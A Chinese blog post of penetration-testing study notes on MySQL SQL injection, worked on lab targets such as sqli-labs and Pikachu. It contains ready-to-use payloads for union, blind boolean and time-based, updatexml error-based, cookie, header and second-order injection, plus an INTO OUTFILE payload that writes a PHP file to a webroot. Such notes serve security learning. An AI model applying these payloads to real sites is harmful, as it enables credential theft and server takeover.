渗透测试-sql注入-mysql注入

​1.SQL注入基础:SQL:数据库查询与程序设计语言,用于存储数据,查询,更新,插入,管理数据库。

SQL注入:攻击者通过构造特殊的SQL语句,入侵目标系统,致使数据库中的数据泄露。

注入存在需要满足两个条件:1.存在数据库交互:正确或错误的显示在web页面上。2.参数(?id)用户可控

SQL注入可以干什么?1.查询数据  2.读写文件  3.执行命令

影响:用户信息泄露

2.Mysql数据库结构

数据库A

           表

             列

               字段

information_schmema 这个数据库会记载所有信息,mysql5.0以上都会自带这个数据库。

数据库名:Database()

版本:version()

用户:user()

Information_schema.tables 记录表名的表

Information_schema.columns 记录列名信息的表

Table_name 表名

Column_name 列名

Group_concat() 表示整个查询

3.数字型注入

步骤:

1、order by 1 正常 order by 1000错误 -->存在交互,会报错
2、order by 2 3 .. order by 3正常 order by 4错误
3、Union select 1,2,3 爆出显示数字的位置
4、获取数据库,用户权限,MySQL版本信息查询指定数据库下的表,并分析可能储存有管理员账号密码信息的表。
5、获取指定表名下的列名
6、获取指定列名下的字段
7、MD5解密
8、找到后台,进入后台,寻找文件上传等漏洞getshell

解决方法:1.加 '   2.加and1=2

演示:

第一步:判断数据库长度为3,爆出显位。

第二步:爆出数据库名称和用户权限

第三步:爆出指定数据库的表名,并思考哪个表可能会存放管理员账户密码。

第四步:爆出指定表的列名

第五步:爆出指定列的字段信息(账户名/密码)

4.字符型注入

如何判断是数字型注入还是字符型注入?

Where id = 1 数字型

Where id =”1” 字符型

Where id = ‘1’ 字符型

判断:输入 and 1=2 不报错,说明是字符型。

数据库源码:

判断闭合条件:

最外面一层引号不用管,这是作为一条sql语句自带的,1'是我们自己输入的,由一对单引号给引起来,作为字符型语句。LIMIT 0,1表示逐行读取。当后面有干扰符号时,使用%23 --+ 注释掉 ,%23-- 注释 +是空格。

如果是双引号括号组合:单引号 and 1=2不报错

去掉最外一层单引号,1''是我们自己输入的语句,剩下一个双引号和后面一个括号,所以可以判断双引号前面也需要一个括号。我们需要去闭合语句,才能进行注入。

通过报错语句推测:(“1”)--+”)

首先需要让数据库报错:是因为我们需要知道数据库是否跟我产生交互。

不让数据库报错:因为我们需要让数据库执行我们构造的SQL语句。

为什么数据库报错:SQL语句有错。

判断为字符型注入以后,构造闭合之后的步骤和数字型一样。

5.盲注

普通注入:会直接爆出信息

盲注:需要通过一些变化(逐字拆解)来判断出我们猜的信息对不对。

分类:①布尔型:基于页面显示的正常或错误
正常页面:

加',判断存在sql注入:

界面只存在两种状态:You are in (正常)     什么都没有(错误)

当什么信息都无法获取时(没有爆出可显位置),尝试盲注,很多工具都是采用盲注。

情况:1.sql语句出现错误,闭合+注释    2.>100也不报错 加-1

盲注步骤:

  1. 获取数据库长度,or length(database())>1,报错,尝试加注释。

  2. 加注释后显示正常,说明该系统存在盲注漏洞。

  3. 把长度设置为100,看数据库是否报错,这里显示没有报错,说明语句存在问题。

  4. 设置-1,让数据库报错。

采用二分法判断数据库长度:

知道位数有什么用:简化工作量。判断表,列,字段长度也可以采用二分法,可以节省跑字典时间。

ASCII码:用python chr()函数,直接解码数字,也可以自己写个小脚本一次计算多个数字的ASCII码。ASCII码字母大小写不一样。

采用ASCII码注入:

1.猜出第一个字母是s,第一个1表示第一个字母,第二个1不用管。substr()函数是字符截取函数。

http://192.168.72.130:86/Less-5/?id=-1' or(select substr(database(),1,1)='s') --+

2.猜第二个字母是s,数据库显示报错。

局限性:这里面你不光要猜26个英文字母还要猜10个数字 u1s1。如果把英文字母转成ASCII码,就全是数字,节省了猜词的时间。注意:这里数字(115)不需要用括号括起来。

不用猜数据库的方法:直接用database()代替数据库名。

采用burpsuite快速拆解:1.设置,注意两个变量都要设置。

2.通过长度判断,点一下Length,按顺序排列。1-8位就是我们需要的ASCII码(因为之前通过手工注入已经判断该数据库长度为8)。

 

3.改变http请求。

4.调节线程,让字典跑的快一点,1000是上限。

5.判断是否爆破成功。

6.解ASCII码。

7.猜表、列、字段。

联合查询:1.Union select table_name from information_schema.tables where table_schema='security'
2.Union select column_name from information_schema.columns where table_name='users'
3.Union select (group_concat(passsword))from security.users 猜解表名:http://192.168.72.130:86/Less-5/?id=-1' or(select group_concat(ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='security' limit 0,1)) =100 --+ 猜解列名:http://192.168.72.130:86/Less-5/?id=-1' or(select group_concat(ascii(substr(column_name,1,1)) from information_schema.columns where table_name='users'limit 0,1) )=100 --+ 猜解字段:http://192.168.72.130:86/Less-5/?id=-1' or(select ascii(substr(password,1,1)) from security.users limit 0,1)) =68 --+Limit 0,1
逐行读取,为什么要加limit 0,1 ?为什么猜数据库名的时候不需要:当前网站数据库肯定连接的一个数据库,但表有很多,我们需要告知数据库我们查询哪一个表。 

8.用BurpSuite跑字典爆破:

  1. 先抓包,再改包,也可以在之前的包的基础上修改

  2. 设置变量

  3. 爆破表名,如果找的不是用户名密码所在的表,可以改变爆破的表格。

  4. 爆破列名:...

  5. 爆破字段:...

②显错注入/报错注入

当页面不会输出和数据库有关的参数时,这个时候就需要用到函数UpdateXml (XML_document, XPath_string, new_value); 

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc;

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程;

第三个参数:new_value,String格式,替换查找到的符合条件的数据。

Payload:http://192.168.72.130:86/Less-5/?id=1' and updatexml(1,concat(0x7e,database()),1) --+
http://192.168.72.130:86/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+
http://192.168.72.130:86/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1) --+
http://192.168.72.130:86/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users )),1) --+
当系统有安全狗,不让你查数据库的时候,数据库换成database(),查表直接查users。

③基于时间延迟的盲注

1.判断是否存在基于时间延迟的盲注,输入’and sleep(5) 页面处于一直加载的状态,直到第五秒才加载完成说明存在。

2.判断数据库长度:and if(length(database())=7,sleep(5),sleep(1)) --+ 条件成立执行第二个,不成立执行第三个。依然可以采用之前判断数据库长度的方法。

3.获取具体信息:

获取数据库名:

' and if(ascii(substr(database(),1,1))=114,sleep(20),sleep(1)) --+

获取表名:

' and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='security' limit 0,1)=114,sleep(20),sleep(1)) --+

获取字段:...

6.提交方式注入

①POST注入

场景:登录框,一般为字符串,不是数字型,需要考虑闭合问题。

①先开burpsuite抓包,然后在登录框输入信息,再查看抓到的报文。

②修改报文提交信息,加单引号,查看响应报文,如果响应报文报错,证明有漏洞存在。

③修改提交语句,让响应报文不报错。order by 1不报错,order by 100报错,证明语句没问题。

 

④接下来就是正常流程,爆显位,爆数据库,爆表,爆列,爆字段。

②cookie注入

场景:网站开发人员光过滤GET、POST提交,忽略了cookie

$_GET  $_POST  $_COOKIE   $_REQUEST(全部接受)

分两种情况:1.目标网站有cookie。

2.目标网站没有cookie,这种情况我们可以硬写一个cookie。

①正常登录网站

②抓包

③注入,在cookie字段加',响应包报错,说明存在cookie注入。

④order by 1正常,order by 100报错,说明语句没问题。

⑤order by x猜数据库长度,这里为3。然后开始爆显位。

⑥没有爆出显位,加'和and 1=2,爆出显位。也可以在admin前面加-1。

⑦接下来就是正常走流程,爆数据库,爆表,爆列,爆字段。

7.二次注入

环境配置:1.SQLi-labs安装

https://github.com/Audi-1/sqli-labs

2.修改配置文件:sqli-labs-master\sql-connections\db-creds.inc

二次注入原理:mysql_real_escape_string 前端被过滤,安全,无法注入。

二次查询的过程中没有过滤导致注入。

分类:①任意用户密码修改

Update users set password where username='admin’

Update users set password where username='admin'#’在注册账户的过程中,admin'#被转义了,所以可以生成admin'#账户,但是在更新密码的过程中,#'被一对单引号闭合了,没有任何作用,所以导致修改admin'#的密码,系统执行的是修改admin的密码。$username=admin'# 更新密码没有过滤,可注入。

注入前:

修改admin'#的密码:

admin'#的密码没有被修改,admin的密码修改成了123456:

②留言板注入

靶场:http://47.240.40.250:6003/main.php(按月付费)

1.判断注入点:正常的返回,输入2,返回2。每次提交需要重新返回页面才能看见结果。

2.通过三个’确定出现问题的地方:类型。


原理:
$sql="insert into post 
Set cate='222',
Message='$message',
B_id='$id';

修改数据库语句:"$sql="insert into post 
Set cate='222',message=user()/*',
Message='$message',
B_id='$id';
”*/#’

/*  */为注释,这里不能用--或者#注释,因为在user()后面加--或者#只会注释掉后面的'号,下面的Message还是会覆盖前面的message。#号用来注释后面的'号,让user()后面的'起作用。

具体步骤:

1.构造注入查询语句,提交,返回。

2.闭合

3.查数据库名:1',message=database(),/*

4.查列名:

1',message=(select group_concat(column_name) from information_schema.tables where table_name='users'),/*

5.查字段:

1',message=(select password from users where id=1),/*

注意:用之前查字段构造式不好使的时候使用id,步骤3、4、5都需要闭合。

8.head头注入:又叫http头注入,是报错注入的延伸和扩展。包括:user-agent、refer、xff三种。靶场环境:掌控安全学院SQL注入。

为什么会存在注入:当用户成功登录的时候,为了方便用户查看上次登录的到底是不是自己,采取的一种安全措施。记录在数据库的过程中就可能会存在注入。

靶场核心代码分析:

$username = $_POST['username'];
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_USER_AGENT'];
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";//满足SQL注入条件:存在与数据库的交互,且无过滤。
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';

开burpsuite抓包改包:

注入方法:直接把user-agent后面内容删掉重写,不过需要注意两个问题:

1.user-agent后面一定要有一个空格

2.闭合问题

注入步骤:
1.在user-agent后面加一个',响应报文报错,说明用户可控。

2.构造payload,这里使用的"~"和之前的ASCII码0x7E是一个原理。这里构造语句失败。

3.查看源代码,找失败原因。

因为我们在payload中加入了--+,把源数据库后面的括号给注释掉了,造成了语句没有闭合,所以报错了。

4.把缺失的括号加进去,让语句闭合。响应报文还是报错。

5.把--+换成#,没有报错。爆出了数据库名,账户,密码。

其他字段原理相同,refer(实际应用中比较少),x_forward_for字段如果报文中没有,可以自己写一个。

深入(注意赋值的个数,黑盒测试只能逐一测试)

当查询表名时候提示:

Column count doesn't match value count at row 1

百度后调整语句,MySQL不报错,但是没有显示出信息。

把and换成or,和limit 0,1无关:

'or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='head_error' limit 0,1)),1),1) #

9.高权限写入文件

漏洞练习平台:Pikachu。

步骤:①构造语句,闭合,判断数据库长度。

②爆显位,这里两个显位都可以用。

③判断数据库权限为root。

④写入文件(这里生成路径要用绝对路径,执行写入命令后,会在对应目录生成test.php文件,位于根目录之下。)

http://127.0.0.1/pkc/vul/sqli/sqli_str.php?name=' union select 1,'<?php phpinfo ?>' into outfile 'c:\\phpstudy\\www\\pkc\\test.php' --+&submit=查询

⑤用小葵将 <?php phpinfo() ?> 转码

⑥生成tep.php后就可以直接访问。

网站路径如何获取?、

1.报错显示

2.谷歌黑客 Inurl:warning

3.读取配置文件(著名CMS可适用)

4.漏洞报错

5.遗留文件:phpinfo

6.字典猜解

*注意事项:路径的写法:要么/ 要么就两个\\

10.高权限跨库注入:

条件:root权限:user()

A无注入点,B存在MySQL注入 A,B都在同一个MySQL数据库当中。

步骤:①确定数据库长度。

②再爆出显位。

③爆出全部数据库,这里不能用database()代替(很重要)

④选哪个数据库就爆哪个数据库的表。

⑤爆列。

⑥爆字段。

 

未完待续——参数类型注入、加解密注入、魔术引号。

posted @ 2021-01-16 17:46  罂粟不及你的美  阅读(506)  评论(0编辑  收藏  举报
目录代码